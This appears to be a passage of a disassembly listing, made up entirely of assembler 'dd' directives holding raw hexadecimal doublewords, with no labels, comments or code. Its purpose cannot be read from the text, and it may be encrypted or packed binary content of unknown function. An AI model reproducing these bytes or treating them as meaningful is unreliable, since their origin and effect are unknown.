		dd 4270CCFBh, 3FE8EBh, 60528FEFh, 1EC59D89h, 0C06293Bh
		dd 0C28E9BDh, 60F6BD61h, 46DC1F80h, 68E76ABh, 5F4DD9A9h
		dd 69203AF5h, 835E0F09h, 8D4305C0h, 143B32F1h, 24048150h
		dd 2B51B58Bh, 820DEC7Bh, 0FEBD8F6h, 2FAD9D63h, 0CED46FCh
		dd 1F8D7C0Ch, 32C9808h,	1409BD33h, 57D3252Fh, 1380A835h
		dd 4EEBC7E4h, 6EE950EDh, 4FDD0008h, 1ED4123Bh, 0BC0219D3h
		dd 1585FF25h, 0BD8B002Ah, 0CC30D99h, 5B0746E9h,	7060FE38h
		dd 32D0F88h, 85895106h,	303F203Dh, 41BD155Fh, 3DD030AAh
		dd 6075860Fh, 0BF660C01h, 8B0D3FCFh, 280A499Dh,	81FBB8EBh
		dd 1347E1E3h, 0FE9EC670h, 0FDB0B0Bh, 0CFF5D685h, 0F5AD40D0h
		dd 1200566Bh, 75C5B161h, 60998D29h, 0BD838016h,	0D0D80E2Bh
		dd 0BD5984AEh, 46767D74h, 0B075701Ch, 41AB2700h, 893287D4h
		dd 2D1D3195h, 0D2BD236Eh, 90E9B6A3h, 6BEF6B5Eh,	6A350FB5h
		dd 49CFC0ECh, 0B86183B5h, 2A6682D7h, 0B1F1EA6h,	87EF21DAh
		dd 0F56851Ch, 524F4383h, 321BE233h, 93226560h, 6BB50507h
		dd 55433396h, 465C4235h, 0BB5E1F52h, 5812016Bh,	0EB18358Dh
		dd 1AE289B2h, 8A9B30h, 2133E8C6h, 2381F81Fh, 0CEE558B8h
		dd 713E51F5h, 2FCD1816h, 2777D099h, 20635C32h, 0E8C0EB41h
		dd 98DB8C66h, 0FD9D5432h, 9004FAF6h, 243C4530h,	0C2B0280Eh
		dd 0EA19505h, 0C53A0629h, 58001623h, 23BE6B50h,	5283267Ch
		dd 0D2704D48h, 193ABE10h, 5F2CE955h, 29F82050h,	0B05F7BC7h
		dd 4674B00Ah, 0C0E20119h, 0F627EBCEh, 40DD9630h, 7049E603h
		dd 1F4BCA4h, 58C43ECh
		dd 0DC4E88E8h, 23C00AE9h, 188B7B2Eh, 604FA6Eh, 0E42CC30Dh
		dd 4D44CE71h, 0D8B6390Fh, 37658EBCh, 4CB2EE60h,	0B9B58909h
		dd 0BA618422h, 0E1905344h, 0EC2E9520h, 9254D0C3h, 0E8C11060h
		dd 0E2C45704h, 5E011859h, 7AE2F766h, 18B8E4A8h,	0B4FE058Ch
		dd 0FB2A6C97h, 290472B2h, 40DD1BDh, 58C1D82Bh, 500223E9h
		dd 89F19960h, 22241C24h, 55C9DE01h, 0BE35B5FFh,	0B80CE97Eh
		dd 0A6A20CFAh, 5DF4F98Bh, 84540A58h, 0F8090591h, 0DBD7E182h
		dd 0C560154Fh, 24CB0C33h, 140FBA60h, 0BF5EDDF5h, 3A00746Bh
		dd 553C4225h, 0E34872C7h, 13CD10B8h, 0F61047Bh,	901B683h
		dd 0DD092BF8h, 0D460A36Dh, 911DFD5Bh, 920B9414h, 40143524h
		dd 0EF1F2DBFh, 51325E1h, 530D4AD2h, 5FF00AD9h, 48E9A0DDh
		dd 61143458h, 0F83F220h, 0AD406088h, 3240CDC0h,	0D2074CB9h
		dd 488C14FCh, 0A510759Ch, 0C1831310h, 0A90D3D20h, 0D1D9583Bh
		dd 8B262322h, 0D93D5EFEh, 99BBC4Ah, 0C1F6B2B4h,	7AD176A5h
		dd 854B285Eh, 0B0235120h, 127120B8h, 0F029993h,	975BF8B7h
		dd 81171159h, 43D128BEh, 9905C020h, 0E4C780CDh,	60C32B6Ch
		dd 2C89D6A0h, 0E995B183h, 1761DC74h, 2308343Dh,	0EF5F5A74h
		dd 0A36BBFh, 6612ED9Fh,	31781D0Dh, 0D1FE6AA7h, 51E90128h
		dd 1DF24C73h, 0D0130h, 153E4D7Eh, 764FC208h, 0E91D8C4h
		dd 6DF5C04Bh, 6EF96027h, 9304C59Fh, 95E7AA56h, 0B7D89CD2h
		dd 29383C9h, 9E4CED03h,	270B969Fh, 0DD9CA049h, 5C70F4B7h
		dd 79106652h, 615E2904h, 0A21819D1h, 4E503500h,	0E4BEB584h
		dd 6E1A2549h, 8535671Ch, 701F3D35h, 20F2B062h, 0FF2630ADh
		dd 46D4C585h, 8EED0215h, 6A759529h, 0A0EE4CC2h,	9904C9E7h
		dd 9D0941CEh, 2E512C11h, 18DE2390h, 6265E11Ch, 0E8800EE9h
		dd 5823CF10h, 0E0AFD447h, 0DDFD9B8Dh, 9CA59200h, 2349CFBDh
		dd 8F9F02BFh, 5EFC35ECh, 5CF2F5h, 7C10A437h, 0ADA52D6Ah
		dd 0FAD83Bh, 978AD21Bh,	2CA1C2F2h, 8AA6FEAh, 38391A51h
		dd 5FCED9B5h, 45E6BBAh,	8F94FA7Ah, 11ADA181h, 760BBE00h
		dd 560C1C17h, 0BA59D0EBh, 3B03021Bh, 83F5B507h,	0DB6F9D5Eh
		dd 0BFB93900h, 25C5935Dh, 0C17934B3h, 228DBBF0h, 7B0F12E8h
		dd 60D635A0h, 0B2DABCB8h, 5F9C003Fh, 0EA97F28Ah, 1CB0A605h
		dd 19318D2Eh, 0FC255FA4h, 0E4E52016h, 6061811Bh, 8A2F46DEh
		dd 4CA07D5Fh, 0C0E7AF96h, 6DA65D00h, 468A1B82h,	97FE2639h
		dd 0E9F301ACh, 0C6FFF8FDh, 1C442A47h, 0EBF7F660h, 0D7381E01h
		dd 8B0DEEB9h, 7056A0h, 4E5B298h, 0C91E4A88h, 15483D00h
		dd 43FD1972h, 98037DEFh, 8325F805h, 73FDC1B2h, 0E0EE5949h
		dd 5A9C20A9h, 0EB1C2810h, 0BD772F04h, 976B0075h, 0D8D9DAEDh
		dd 0D4BEBEA0h, 0EFC27150h, 2C1EAC2Ch, 8D0B3120h, 0F5142585h
		dd 1A440A67h, 794EBF60h, 1BA74F1Dh, 71B50B03h, 50503807h
		dd 608152B9h, 310F5E61h, 5FE67056h, 88585A25h, 46749C07h
		dd 0B6B5815h, 0AA55BD2Bh, 74092449h, 0F71006D2h, 79D08154h
		dd 6C0A2BC2h, 3A4BBFB9h, 1B23FAh, 0EC8531A0h, 39274BC2h
		dd 3D09089h, 0FC991CA1h, 2EBC408Ch, 66803AACh, 205ECD3h
		dd 0E4EFD5BDh, 1826F1C5h, 5D88292Dh, 0DF0B2734h, 61EFEDD7h
		dd 0CC701B40h, 0F2A8537Ah, 0BBA0BF3Dh, 6155CC8Ah, 0B8DA39B4h
		dd 22FA0760h, 6E8C5A97h, 2940B8E0h, 66760D98h, 61B40F0Bh
		dd 353910E8h, 514000EDh, 8D03F879h, 5B802659h, 3A6A4A61h
		dd 1F1423CFh, 0B2E6017Ah, 0AE5DDFD1h, 0DCCD48h,	0C6F964F7h
		dd 88D4749Dh, 0A92DDEB8h, 47D3A2Ah, 2581C19Ch, 846861D0h
		dd 0D3FFF5C2h, 31E076EDh, 2A799FAh, 59182C75h, 73D18E5Ch
		dd 0D8D08B9h, 9108811h,	8118FB70h, 0F76C68F5h, 7474ACC8h
		dd 51121546h, 0D95806D2h, 40BA8B2Ch, 81CBFB03h,	9A8BD59Dh
		dd 17EBCAF1h, 80191133h, 4F29FF1Fh, 0FF385E57h,	0F9488541h
		dd 0A1F1A3A2h, 23CD8488h, 0C0C49A27h, 82046529h, 0A769C57Ah
		dd 805F3741h, 3EF27B47h, 3758036Ch, 0D901DC02h,	32F55A66h
		dd 0E4A645E8h, 619801F2h, 0C2E6C3BFh, 8347648Dh, 165ABD7Dh
		dd 2B27D722h, 22CD9805h, 0EA677DEAh, 626014E4h,	68D385C7h
		dd 3C31A5CCh, 63674D8Dh, 7A120E4Ch, 5383EB4h, 0EADCA5EEh
		dd 0BF243736h, 2DEF956h, 3D38542Eh, 1D468D21h, 1210F39Ch
		dd 2A7D744Fh, 271D2332h, 4041A598h, 2139652Dh, 7999578h
		dd 0D4BF541Ch, 1C3AF44Eh, 0E7390E80h, 0CC0FAC7Ah, 741F4E31h
		dd 2A42D203h, 71CC5005h, 67400133h, 4EAD6BDAh, 0E7B9C8FFh
		dd 8D7FFA13h, 0B857D74Ch, 60354119h, 23F9F28Fh,	301DE273h
		dd 0F200C95Dh, 3FD16C54h, 2FA967A5h, 37A49D31h,	0A211E3B0h
		dd 6F23301Ah, 0CBB43209h, 708C0448h, 8A6C2380h,	0E4411796h
		dd 0C96E0571h, 4A81A22Ch, 0A401056Eh, 0BF0F6E7Dh, 0B1B941F6h
		dd 95BA0316h, 0A08FA7EFh, 0FEB67B7h, 8B4990AEh,	0D8748812h
		dd 0BE6DA00h, 0FCC4FE94h, 2BE90009h, 76E00EADh,	28593625h
		dd 1AD116F0h, 2C60C788h, 2C68AB6h, 61C555F2h, 0DE8DC8D0h
		dd 63997EE0h, 3B4902B7h, 5EF2DBC4h, 55002646h, 7B1D8EE2h
		dd 5947D0h, 0BE5F3051h,	0D82BBC86h, 1DD17191h, 0C1008818h
		dd 17856AA4h, 7C4C506h,	8B5093BDh, 619D49F1h, 63801511h
		dd 1DBD314Bh, 2175184Eh, 0D41DA4FAh, 47EBAE00h,	0BF85D34Ah
		dd 0E5E609B0h, 2DC65F0Dh, 5DCC194h, 0DF9A483Ch,	86F6FBB0h
		dd 9D0E80E5h, 1C0EE9D0h, 0E4893496h, 42A42B71h,	82C54891h
		dd 4C6E4Ah, 92E5B83Ah, 0B05F971Dh, 30FC5E93h, 25DEAB31h
		dd 52C1EE02h, 9D7E8DAh,	5CC069CDh, 2D47220Ah, 32188F0Fh
		dd 635BBBC6h, 2B75544h,	0F924BB14h, 0A490A5DFh,	1300C852h
		dd 0EF2F45D5h, 0EE79FFh, 0D4755FCDh, 7826FCABh,	0D5CB662Fh
		dd 34608491h, 9802EFDh,	4352F95h, 0F9F7793Ah, 4D8584F6h
		dd 59D01408h, 759ABCC0h, 0B05303D4h, 2BB60933h,	0A6D794ACh
		dd 6970E0B2h, 34E41A22h, 0F089E63Ah, 84804037h,	0C7A8724Ah
		dd 9D29166Fh, 0DFE85491h, 2D6E5Fh, 0A0239B6Bh, 0A069A70Dh
		dd 800F95B8h, 0B53E0158h, 0F232DB31h, 0DE5B2AC4h, 75711800h
		dd 19FC3456h, 0F37B4897h, 8A2A0917h, 3FFA5F16h,	3171005Ch
		dd 1774D684h, 9CB6B01Fh, 8984BF93h, 0B92439BDh,	5BC13881h
		dd 0D00E186Eh, 602E0A54h, 0FAA4D1C2h, 82C53FDh,	0A42D2849h
		dd 0E6272A4Fh, 53B68581h, 0FE11FA39h, 9A0010E9h, 72EBFBF0h
		dd 8A00A81Fh, 0B6932555h, 5E83B7CDh, 0DA4D2241h, 1BF11151h
		dd 62012D18h, 0D12F8727h, 0E97E5DF8h, 808E3D46h, 0FC5C079Ch
		dd 0F345E1h, 0FA05B63Bh, 3CA06C15h, 600E5BBBh, 0A9BD8356h
		dd 5A100527h, 0E361C0B5h, 301BA267h, 0F60FADE3h, 0A2F5DD1Eh
		dd 0E4BD0197h, 0C32B2F08h, 9613DAB7h, 9850BB88h, 2D4520C4h
		dd 81635E5Eh, 3B39592Fh, 0FF728EBCh, 3D200190h,	2CE93531h
		dd 0E2A61D23h, 90C08B2Dh, 0EF4194Dh, 346E2C83h,	9976BCA0h
		dd 6F0968EBh, 18C36E1h,	0E61955Eh, 7BF18616h, 355B0BFCh
		dd 0C0C99A56h, 0C6F6C5E8h, 0BB37094Ch, 547285C7h, 1D091509h
		dd 0C006ED3Ch, 0E42026B4h, 51AB3217h, 45B57C05h, 92C0590Ah
		dd 2D2B8508h, 4B45549Eh, 58BD7Bh, 0D93DE09Bh, 269F39h
		dd 7C814869h, 689EBD65h, 4DE95CBCh, 0EF19403Fh,	0A85F6539h
		dd 363540EAh, 509F138Ah, 7EC68801h, 47808230h, 0DE674976h
		dd 6ACE5BE1h, 1183797h
		dd 19B52B4Eh, 4056022Eh, 0BE14D11Dh, 0C989A813h, 4C53900Fh
		dd 0B2881971h, 872F0F11h, 0BE41FCEFh, 0F95BC6EBh, 2E0455D4h
		dd 0B0BB70BCh, 608013A4h, 15BA1366h, 2A931035h,	61D17463h
		dd 485CE12h, 6429E6AAh,	0FAA8C9A0h, 0EC16E4Fh, 6FC28017h
		dd 72F405ADh, 130099E2h, 80CB6C66h, 0EB5C8576h,	1269101Ah
		dd 8F78100h, 0F16C5A1h,	90318A5Fh, 2E231A59h, 3C301AE2h
		dd 0AC7B0289h, 0F87833F1h, 3165818Eh, 7E58C98Dh, 0BE00F0EDh
		dd 32512B1Dh, 0EF094776h, 12810F27h, 3D9A0549h,	0BC318E4Ch
		dd 87FD9626h, 10FFF6FAh, 0CD7C32BFh, 3EE6BEF6h,	8B2DAB09h
		dd 70667BC1h, 0C501C9F6h, 3F75201Dh, 3C78AE79h,	0A1A804D2h
		dd 0B985120Ch, 0EF5F14B7h, 1A00EE3Fh, 0C9873132h, 8A396090h
		dd 0C88BB9DEh, 613C4022h, 0FBF650E2h, 0BCF89049h, 0BBD11FF0h
		dd 0CC3E24BDh, 24518DD0h, 0D01D2A5Fh, 80B1376Fh, 0FDBF7BF2h
		dd 78026099h, 6D954CBEh, 0DF938039h, 95062D23h,	3100FC37h
		dd 0EA613DF8h, 445790AFh, 950BBF05h, 0C26C097Dh, 0E074CD16h
		dd 6719EC2Ah, 17B96D3Fh, 5430616Ch, 3A81Eh, 0DB852613h
		dd 53C55F5Dh, 5A413900h, 0F50C416h, 8B11918Eh, 7BED2404h
		dd 7332FCC0h, 11C0A468h, 506820Fh, 0C61BD33h, 8B16CBB7h
		dd 7DC6CDF7h, 9A65B888h, 11FB4C54h, 0F32C0513h,	0AC43596Ah
		dd 2561043Eh, 0C1B28027h, 20EBE4B6h, 39B405E6h,	80F11A2Dh
		dd 44E9F93Ah, 5BEEB608h, 4D0923EAh, 0EAB3C070h,	3203CC29h
		dd 21C4A923h, 0D295C3CAh, 84C9CD2Ch, 2015286h, 54419D8Bh
		dd 95BE0168h, 6C32B818h, 0BCB9D1BEh, 48DE5B14h,	467EA8D5h
		dd 2B7A0016h, 2EBD8364h, 0AF2D4A22h, 0E914B299h, 91E9BC45h
		dd 10F90B44h, 1E861016h, 8CEF0125h, 0F13E1160h,	1293746Dh
		dd 128C903h, 0BD2BF22Bh, 657ECE89h, 11321552h, 81D58914h
		dd 32C59590h, 0EA60AB2Ah, 40AD8D89h, 6CA4611Bh,	0F4EF15E1h
		dd 5A009109h, 9C1D8946h, 0FC597CB5h, 8805246Ch,	105F12AAh
		dd 9E4FFDABh, 98498065h, 2446E0FEh, 0B807957h, 0ED650491h
		dd 2D688A4h, 8226366Bh,	0E9D8E3E6h, 141E859Fh, 9E38E9B6h
		dd 3C9BAA4Ah, 2D32FEC1h, 9E8F83Dh, 7E90488h, 3774B6D8h
		dd 5EAF1253h, 46D68B7Eh, 84940915h, 0B20E5860h,	906109D3h
		dd 11045F53h, 1A654308h, 41DCE09Bh, 0B9B25DE7h,	0BB1D0D00h
		dd 507533E9h, 905F6113h, 1623173Ah, 69B8FE00h, 0DC830F53h
		dd 0E95E0619h, 6B648ECh, 804A01DEh, 882E8BFh, 388F7CF9h
		dd 516E5AB0h, 0A57FA204h, 9DD7D0A7h, 81800CADh,	0B957EE7h
		dd 70E62FD8h, 60DECDF7h, 0B4923275h, 46F76B00h,	0F80C1CCh
		dd 2706618Dh, 2C419501h, 71E40300h, 0A12BCF81h,	6378039Eh
		dd 8BCBC59h, 1F546303h,	0CA01845Ah, 0D471D8h, 6096B030h
		dd 0FC00C79Fh, 7203B922h, 1A4C207h, 8927A0FDh, 41051B5h
		dd 4F38C7C7h, 0E6320585h, 892D4488h, 4753AB00h,	0F540B1A2h
		dd 6D1D1F20h, 1FAC07A7h, 0C38BB262h, 0B8E0B9EDh, 316EC7F1h
		dd 7D88565Dh, 815E002Bh, 0D2780BEFh, 0B6420414h, 2EDCF756h
		dd 0C312A706h, 20E2BD89h, 256AF109h, 0A5303C05h, 0E0D9006Dh
		dd 15004C05h, 8B525093h, 98310FFAh, 585A3D7Ch, 0BF661660h
		dd 1AD2AA82h, 690166B2h, 253EDDB1h, 0DFED608Eh,	5CC0904Bh
		dd 0B5F88B93h, 22ED6E3Ah, 18160640h, 9BE51313h,	0F328C95h
		dd 0CA30885Bh, 0B8A62DFh, 0E458D01h, 9BBFD8E8h,	7B65FD17h
		dd 423DE230h, 0B39A0E64h, 0F74034A9h, 7CB6D0A4h, 802F5012h
		dd 0BCC79815h, 0F24816A4h, 897454DDh, 807D9B5Bh, 36434EE9h
		dd 72DE056Eh, 0E4F53ED4h, 46B9AD37h, 53C1B509h,	0D6D3A619h
		dd 78017972h, 71D1869Dh, 8E231ACCh, 0FC96BF02h,	7D4009F6h
		dd 552F8529h, 22E2921Bh, 4A6763BCh, 0DE7E542Fh,	51D16600h
		dd 0BF0F6078h, 20B4B8CEh, 61482615h, 8D9B5A54h,	1980B08Eh
		dd 7BD9BF58h, 0A42EA22Dh, 29410AE7h, 6D204D8Dh,	0A50492C3h
		dd 13F40565h, 0C18331F1h, 6C1A952Fh, 35E5CD72h,	0B4496C68h
		dd 2500DFBCh, 614A0D15h, 5B2499F9h, 947922D3h, 0F46FD655h
		dd 621A9200h, 0A4B3279Eh, 0AFB45F8Ch, 0AE28F040h, 7A13F7h
		dd 0B8483A24h, 0E3E0BE83h, 5F7C7716h, 8D31E560h, 0C1765CDh
		dd 0EEFD005Bh, 0C32BC82Ah, 59204690h, 0C52CB425h, 0F5E7A36h
		dd 0C0B70B37h, 0E84A7AD1h, 0A8BF0167h, 0E96FFFD6h, 522D8528h
		dd 0B0FF9509h, 8B2D5F6Ah, 0C1836DC0h, 6D68CF56h, 0B7603A2Dh
		dd 2EF4DCCBh, 0D34A23A2h, 76F93FCFh, 9D228831h,	9CD1280Fh
		dd 5A7D649Eh, 0DC335494h, 4997A707h, 26E01DBh, 0DE9386EFh
		dd 0DB271698h, 0B28B7A23h, 96A17A89h, 8B8D6FF7h, 21DBC20Bh
		dd 1FAB5AFh, 88E06071h,	0A90FD8F6h, 2B658AA0h, 2262BB95h
		dd 604A1776h, 16F92420h, 0CFAC01D9h, 3D054BEEh,	20966C5Ah
		dd 74615B25h, 0C0349A30h, 37556C58h, 0B290594Ah, 6750FFBCh
		dd 2551EDBEh, 8CAE0C67h, 2595FC84h, 46572771h, 0FD7ABCh
		dd 57CF8BA0h, 480798B8h, 57CB7F25h, 2D62BC6Dh, 5CB2C236h
		dd 6C011A82h, 0DC6874h,	0BFF95E8Ah, 46D02630h, 0B451990h
		dd 31E0DCECh, 79F82590h, 3C8A320Ch, 64F3A5FAh, 34320074h
		dd 79C69D38h, 3A008A17h, 0F2C55C7Eh, 0E1B82F18h, 304B3DE8h
		dd 35330DE9h, 0C700421Eh, 0FE49B0A9h, 2A50D327h, 1201DCh
		dd 0E0E4DE88h, 8A098FECh, 3717FC06h, 2E90D79Ch,	7C2E2CB9h
		dd 0FC021846h, 656D9BDDh, 0F8F26660h, 0E95D6203h, 8EFFF7C2h
		dd 34064163h, 2CF1D94Dh, 72BC7FD4h, 896D27DCh, 2176FAC4h
		dd 6A136924h, 0B76506F6h, 4C89632Bh, 0A030B120h, 0EDD5BD0Bh
		dd 33A98B02h, 4B0CCA04h, 4FA090E8h, 3C2500D4h, 835FF846h
		dd 0D59501E1h, 0B9B5E798h, 3598D4BFh, 9A6FF69h,	0EE74D9F2h
		dd 54F35052h, 89133EF8h, 0A12353h, 0DBE0493Ah, 0BADFEEh
		dd 0A8D9CA2Fh, 60615FF4h, 0CF78B6BBh, 7E9D7DD6h, 3005091Bh
		dd 7A558BE3h, 9DF88EC3h, 11008335h, 0BB52E8AFh,	0B53D2864h
		dd 0A8249CD3h, 24B18CB4h, 430B34A5h, 0B6B509D1h, 9907F090h
		dd 0D38756Ah, 0C5BD31A9h, 7EDE0673h, 0F1C0BBB6h, 7EA385Bh
		dd 0F58E0AA0h, 56292F0Eh, 96009944h, 2536D869h,	1DA966F6h
		dd 0C1EFB521h, 7B8D15A5h, 0C11A225Ah, 2D5D9531h, 0C2690409h
		dd 0BE5B1642h, 144F5080h, 0EA7C6370h, 0D4CA0080h, 8D82B7F6h
		dd 0B1559A32h, 604B0131h, 23BE2A53h, 68105EF2h,	61383515h
		dd 2B3760ADh, 0A0043812h, 0E2133059h, 0F17301BFh, 0D623D188h
		dd 5F005F61h, 1B9C1F7h,	4476B120h, 0C8243EFAh, 0D301ADAEh
		dd 53210316h, 8B665F5Bh, 692E6124h, 4905C0E1h, 99576FFFh
		dd 61E071F6h, 2313DE9Fh, 5F409995h, 33BB6FBFh, 0A5FC870h
		dd 5CDF6625h, 105F7301h, 826BA306h, 1D6463C7h, 0F0128B61h
		dd 6700CDE6h, 3558D701h, 0A60DCE80h, 33236BE3h,	8072B873h
		dd 66AACE28h, 1E0A15BFh, 800F6C8Bh, 0B8A2E3D7h,	39A438D5h
		dd 1B233F35h, 0F48F2100h, 12AE1E69h, 0B8536E4Dh, 199380D0h
		dd 3BC20CFCh, 758992ABh, 4B83AFA0h, 250726E9h, 1B77B0Ah
		dd 26FE010Ah, 80DE3BE9h, 9A58ABB0h, 1500E47Ch, 0ED66C721h
		dd 528F69h, 0F54BADA1h,	2EAAFA78h, 8E03E10Eh, 5DD0C04Ch
		dd 9C7F99h, 65C12717h, 0FBCA6EECh, 0C03CBF01h, 88A57A3Fh
		dd 9060C4F0h, 3A7E98D3h, 8D1E5271h, 0FBC2C010h,	0E446127Bh
		dd 0B2916900h, 0AD248066h
		dd 0A3F8DDh, 5EFA5C2Ah,	6C49DBAFh, 0BF329400h, 0ED63BB59h
		dd 0E1B900A3h, 0E7B51D84h, 5B003391h, 258660D2h, 4AACAEh
		dd 0CA8C7AF1h, 0D00DFD70h, 78BE8700h, 806C44F7h, 5BB112E2h
		dd 44F11FC5h, 0C0A7CE0Ch, 1E937530h, 0A47BA830h, 380F8666h
		dd 5C80FA26h, 3C8A07E5h, 0F01FA9D7h, 5243722Ah,	62E05Eh
		dd 71B5A354h, 0DD73FFE1h, 683B7A2Dh, 4B3046h, 0D67B245h
		dd 183404D5h, 82EF1200h, 0F3D920B0h, 30B9031Dh,	54C73276h
		dd 0C84E4E01h, 8214DC56h, 100D2E01h, 5C9FBBE5h,	5E2A366Ch
		dd 2A0E00A0h, 601CC439h, 0B11409F8h, 0BA0B52h, 65ABF001h
		dd 25DFFAh, 92E6C85Ch, 2F1682Eh, 8AEA400h, 0BD6A216h, 3E9C00F8h
		dd 6064F622h, 7C00F157h, 411F9B30h, 18341D66h, 0A0ED6DCEh
		dd 1492CB54h, 512B2F00h, 0DA3157F9h, 0C1B10263h, 0D45F9FE6h
		dd 82EBA280h, 0FA307DB9h, 31E73AEEh, 6BDF0054h,	37FBD138h
		dd 5D008951h, 90755B2Ah, 6D2C0h, 65C52CA7h, 0DBEC3216h
		dd 4A880500h, 7F8C5523h, 0E3BB0E19h, 80E05D4Fh,	0A6812B7Bh
		dd 0AF0EC000h, 0E079DF24h, 75C50F13h, 53E08DC6h, 0D4AA6CDAh
		dd 1A7E5900h, 60902204h, 9AAEA079h, 8053898Dh, 0DCB91FB3h
		dd 7719357h, 0AC0243DBh, 91D4E021h, 0BE071EF9h,	0EC107337h
		dd 7A5E1190h, 462400C2h, 0CA16E2CBh, 4004F3Bh, 1F014030h
		dd 1F692E9Eh, 0C062F2C0h, 0EC5AA9B0h, 97C0512Ah, 9CEF5BD2h
		dd 0D0663DB8h, 0E373AB83h, 9E113A11h, 2215E29h,	0F7623600h
		dd 61A204h, 59D2B50Bh, 0A47C85E1h, 0A16AC200h, 0CFF7E292h
		dd 0E932051Dh, 5E4AADh,	88ECB7BFh, 9300B46Ah, 26BB03Dh
		dd 0C15DA314h, 13070E1Eh, 90F80A0h, 1DD93F06h, 1619096h
		dd 2E020CC7h, 0D4E0349Bh, 430927D6h, 2329CF2Fh,	0D960C60Ah
		dd 0BA88AD0Eh, 0BA0124h, 1CEA61C4h, 0F6BE2BAh, 2871A29Fh
		dd 0B208929h, 2BC92F70h, 7BD2F300h, 90F2B1D5h, 0C6950064h
		dd 0EA167FFFh, 6A132C39h, 51EE929h, 0B4911AC0h,	81104Eh
		dd 0C9B77A45h, 0F927D7E0h, 8A245E00h, 0FD14B58Eh, 9CE700CEh
		dd 0C7286EB7h, 8628958Ch, 0A71E9E32h, 7A05E1h, 451CA279h
		dd 2B69E2h, 0AA8EB578h,	0F4F054B2h, 2F9B1600h, 0C92D9DE4h
		dd 4453636Ch, 4BC2769Fh, 598A9540h, 1BDE5131h, 0B8EB58CBh
		dd 289F7F48h, 5CCC2416h, 451845E3h, 0B4DF27F2h,	3E906000h
		dd 813D75Eh, 0E9DA004Ch, 156840Dh, 0B40182DFh, 7CBA8374h
		dd 368147FBh, 0EE5FBDE6h, 0A5B0501Bh, 0E3392C5Ch, 668181A0h
		dd 8146793h, 92FD2C80h,	7EA4D49h, 4CD710C0h, 0C0E768h
		dd 8789D259h, 2DF138Ch,	30B3F107h, 0F3C72636h, 8FA1CFC2h
		dd 66F40ABh, 53DAB2h, 845CB505h, 0EF4DAB26h, 54860F18h
		dd 7BE971Dh, 0ACE2155h,	683BC096h, 47F0AE0Ch, 0BC98E300h
		dd 74FD596Ah, 4F910EC6h, 0EBC5B3CBh, 4B3EC860h,	820FED00h
		dd 5886224h, 0FC5E013Ah, 0D1411B71h, 0DDC63054h, 0EF56D912h
		dd 0D0431A03h, 72D38884h, 0FEB1039Ch, 5ED1D595h, 0BB22070h
		dd 0AA501450h, 70B63Bh,	936E86Eh, 7C72C89h, 0C9441AFEh
		dd 0F045F3ECh, 0E3AC3A0Eh, 5AC22C95h, 0A4EF3F31h, 84D1DF8Fh
		dd 4B02C320h, 57320450h, 90DCBF59h, 51FD8DA9h, 33309DDFh
		dd 0B71701C9h, 2DA3C3Eh, 0AB5308Bh, 9EB5FB3Dh, 700924Ah
		dd 1014E430h, 9DA55058h, 9B8326D5h, 7909BA0Ch, 0E3001BA0h
		dd 0D127AC0Fh, 73F6A9E2h, 50AD890h, 9B0BE3A5h, 0BF67F907h
		dd 47AC1750h, 0A92B0453h, 808C86A0h, 0F17CDE20h, 0FEDA0905h
		dd 5800F57Eh, 0F6C2332Fh, 6DB6099Fh, 0C92FC629h, 1E146067h
		dd 3ADCC1E9h, 26F84E00h, 920FCF46h, 0CE220152h,	80244F57h
		dd 10142036h, 346B9F00h, 33190A8Eh, 0BC09481Dh,	0BC80199Ah
		dd 7D56AA23h, 8A94D026h, 2954D497h, 0FE500496h,	8809063h
		dd 0B0268009h, 6898EDh,	5B2F0D54h, 8863351Eh, 17000374h
		dd 0DF56360Fh, 0A2761Fh, 0AAF941CCh, 850CE84Eh,	0D592252Eh
		dd 0B43F1340h, 0EC1F28C4h, 3EE05CFBh, 0BF5C487Ah, 56DBBD09h
		dd 0D558C700h, 0DD04B315h, 29309650h, 0E9D3D5D3h, 0C1E428EEh
		dd 573A0279h, 0C781E789h, 838EEB74h, 3C87C1EFh,	34FD5C24h
		dd 6F5268D0h, 140F1E43h, 0E682568Fh, 1B8EC681h,	0D06EECAh
		dd 0FE3D3487h, 276FCB02h, 0FB9C00Ch, 22007801h,	1A58E181h
		dd 7C15461h, 0D1F704E9h, 8CC0CE41h, 89F9CCD0h, 5459CA0Ch
		dd 74834C8Bh, 0D67ECEC4h, 4F68816Ch, 4BBB5E03h,	0D308408Fh
		dd 0A1F9D70h, 89523970h, 0ABC2FCE2h, 1408B473h,	5A0AFF10h
		dd 311C481h, 0FC48F7E9h, 88B17AF0h, 568110Eh, 221480BCh
		dd 3413B8h, 0C503062Dh,	2E47E0FFh, 19043000h, 781EA5B7h
		dd 4E35059Ch, 873842E3h, 2BB53086h, 12039A3Dh, 5E6BBB55h
		dd 0F8D38859h, 0DFAD5C21h, 0A484030Eh, 7426860h, 0A50017A1h
		dd 0CC12881Ah, 235EC4h,	0F64736Eh, 44185794h, 91265300h
		dd 14C1E10h, 0C3EA59h, 7F164DE5h, 9B20FA9h, 23144900h
		dd 294ADF2Ch, 79D200EBh, 2AED9F8Bh, 3003CC6h, 0E904CF31h
		dd 21E5837h, 0BCFD65AEh, 435C2FA4h, 0FCDAC213h,	2CC01C88h
		dd 1CFBCF7Fh, 7BE65F68h, 798D2109h, 5DBDB968h, 684B0AB4h
		dd 7FB6F831h, 0DB15AA35h, 0D77170A4h, 8447883Bh, 4B1D9ED8h
		dd 9A96C4B3h, 0A699861Eh, 54934BEh, 95F5FCBh, 0CEC2D99Dh
		dd 0F3223825h, 3016E209h, 0F000E22Fh, 1B34BE66h, 0C730E961h
		dd 67295321h, 75010A6Fh, 6071E989h, 1C6DEABAh, 0C4BA5C9Eh
		dd 0C009EF6Fh, 8D137ECh, 9D7BFB00h, 0D080B23Fh,	552B07F8h
		dd 20FC1AD8h, 0E641A797h, 66D58h, 903426AFh, 72C531h, 5F7A3FB8h
		dd 88D3DD46h, 47DB0100h, 73FA526Ah, 755C09B7h, 0C8602C27h
		dd 4C009C8Ch, 0B838B346h, 0D709EBh, 3DD39391h, 0C3857543h
		dd 72E06D01h, 0C1B93094h, 8E407180h, 4DC7A352h,	4E0077F0h
		dd 11F767EEh, 98F13FB6h, 545F65Fh, 3ABDFD6Ah, 0A7258004h
		dd 0A10095FCh, 9B6FE447h, 48464Ah, 7805BBFFh, 0E244CFA8h
		dd 7D0CA17Bh, 3615B639h, 24703D23h, 380E438h, 8AD53E88h
		dd 5F58C13Ch, 961D05DBh, 0EA00CDA4h, 90B892CCh,	14EA03CEh
		dd 2D4139B0h, 4A007CF3h, 8179F44Ah, 5E469CFh, 68BE5C02h
